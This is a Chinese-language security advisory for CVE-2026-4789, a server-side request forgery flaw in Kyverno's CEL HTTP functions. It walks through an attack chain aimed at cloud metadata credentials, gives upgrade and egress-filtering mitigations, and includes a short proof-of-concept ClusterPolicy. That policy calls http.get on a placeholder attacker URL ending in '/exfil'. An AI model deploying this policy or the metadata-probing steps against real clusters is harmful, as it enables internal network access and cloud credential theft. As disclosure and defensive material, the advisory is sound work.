IPBUF安全漏洞报告
English
CVE-2026-4789 CVSS 9.8 严重

CVE-2026-4789 Kyverno SSRF漏洞

披露日期: 2026-03-30

漏洞信息

漏洞编号
CVE-2026-4789
漏洞类型
服务器端请求伪造 (SSRF)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Kyverno

相关标签

SSRFKyvernoKubernetesRCECVE-2026-4789

漏洞概述

Kyverno 1.16.0及之后版本存在SSRF漏洞。由于未对通用表达式语言(CEL)中的HTTP函数进行限制,攻击者无需认证即可利用该漏洞。通过构造恶意的Kubernetes资源,诱导Kyverno服务端向内网或外部指定地址发起HTTP请求。这可能导致敏感元数据泄露、内网端口扫描或对内部服务的进一步攻击。该漏洞CVSS评分为9.8,属于严重级别,建议尽快修复。

技术细节

该漏洞的核心成因在于Kyverno在实现CEL(Common Expression Language)验证逻辑时,提供了HTTP请求函数但未配置严格的网络访问控制列表或目标地址白名单。在受影响版本(1.16.0+)中,攻击者可以利用Kubernetes API的创建权限,提交包含恶意CEL表达式的资源。Kyverno控制器在后台或准入控制阶段评估这些资源时,会执行其中的HTTP调用。由于漏洞特性(PR:N/UI:N),这允许未授权的攻击者利用Kyverno Pod的身份向内网发起请求。攻击者可以探测内部网络拓扑,访问敏感的元数据服务(如169.254.169.254)以获取云凭证,或利用HTTP方法对内部系统进行数据篡改。这种SSRF行为不仅导致信息泄露,还可能结合其他内网漏洞导致完全的服务器接管。

攻击链分析

STEP 1
侦察
攻击者识别出目标集群运行了存在漏洞的Kyverno版本(>= 1.16.0)。
STEP 2
投递
攻击者向Kubernetes API Server提交一个恶意的资源清单(如Pod或ClusterPolicy),其中包含调用http.get()的恶意CEL表达式。
STEP 3
执行
Kyverno控制器在验证该资源时,解析并执行CEL表达式,向攻击者指定的URL(或内网地址)发起HTTP请求。
STEP 4
利用
攻击者利用请求到的响应数据获取敏感信息(如云服务凭证),或利用该请求对内网其他服务进行攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
apiVersion: kyverno.io/v1 kind: ClusterPolicy metadata: name: cve-2026-4789-ssrf-poc spec: validationFailureAction: Audit background: true rules: - name: trigger-ssrf match: resources: kinds: - Pod validate: cel: expressions: # Exploit: Send HTTP request from Kyverno pod to attacker controlled server - expression: "http.get('http://<ATTACKER_URL>/exfil').status == 200" message: "SSRF request sent successfully"

影响范围

Kyverno >= 1.16.0

防御指南

临时缓解措施
建议立即升级Kyverno。若无法升级,应在网络层面限制Kyverno Pod的出站流量,仅允许其访问必要的API Server和仓库地址,阻断其对内网敏感网段(如元数据服务地址169.254.169.254)的访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表